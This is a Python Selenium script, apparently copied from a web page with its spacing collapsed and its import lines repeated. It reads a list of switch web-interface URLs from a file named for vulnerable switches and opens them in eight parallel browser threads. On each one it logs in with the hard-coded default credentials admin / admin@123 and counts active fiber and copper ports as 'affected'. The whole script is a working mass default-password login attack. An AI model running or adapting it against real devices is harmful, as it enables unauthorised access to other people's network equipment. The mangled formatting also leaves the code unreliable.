from selenium import webdriver from selenium.common.exceptions import NoSuchElementException from selenium.webdriver import ActionChains from selenium.webdriver.support.select import Select from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from lxml import etree import time from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.chrome.options import Options from queue import Queue import threading
from selenium import webdriver from selenium.common.exceptions import NoSuchElementException from selenium.webdriver import ActionChains from selenium.webdriver.support.select import Select from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from lxml import etree import time from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.chrome.options import Options from queue import Queue import threading from lxml import etree
withopen(r"C:\Users\shinelon\Desktop\tmp\switch_vuln_total.txt",encoding="UTF-8") as f: urls= f.read().splitlines()
q = Queue(maxsize=0) for each in urls: q.put(each)
deftry_vuln(browser): global fiber_count global port_count whileTrue: if q.empty(): break url = q.get() try: browser.get(url)#打开浏览器预设网址 time.sleep(2) result = alert_is_present()(browser) if result: print("found tanchuang and click!") result.accept()
browser.find_element_by_id("UserName").send_keys("admin") time.sleep(0.5) # 输入密码 browser.find_element_by_id("userPassword").send_keys("admin@123") time.sleep(0.5) browser.find_element_by_id("goBtn").click() time.sleep(15) data = browser.page_source html = etree.HTML(data) html_data = html.xpath('//table[@class="portPanelTable"]//img/@src') for each in html_data: count1 = each.find("fiber_green") count2 = each.find("port_green") if count1!=-1: fiber_count +=1 if count2!=-1: port_count +=1
print("The current affected port is " + str(port_count)) print("The current affected fiber is " + str(fiber_count)) except: pass
defscan_all(): for index inrange(8): browser=webdriver.Chrome(options=options) th = threading.Thread(target=try_vuln,args=(browser,)) th.start()
classalert_is_present(object): """ Expect an alert to be present."""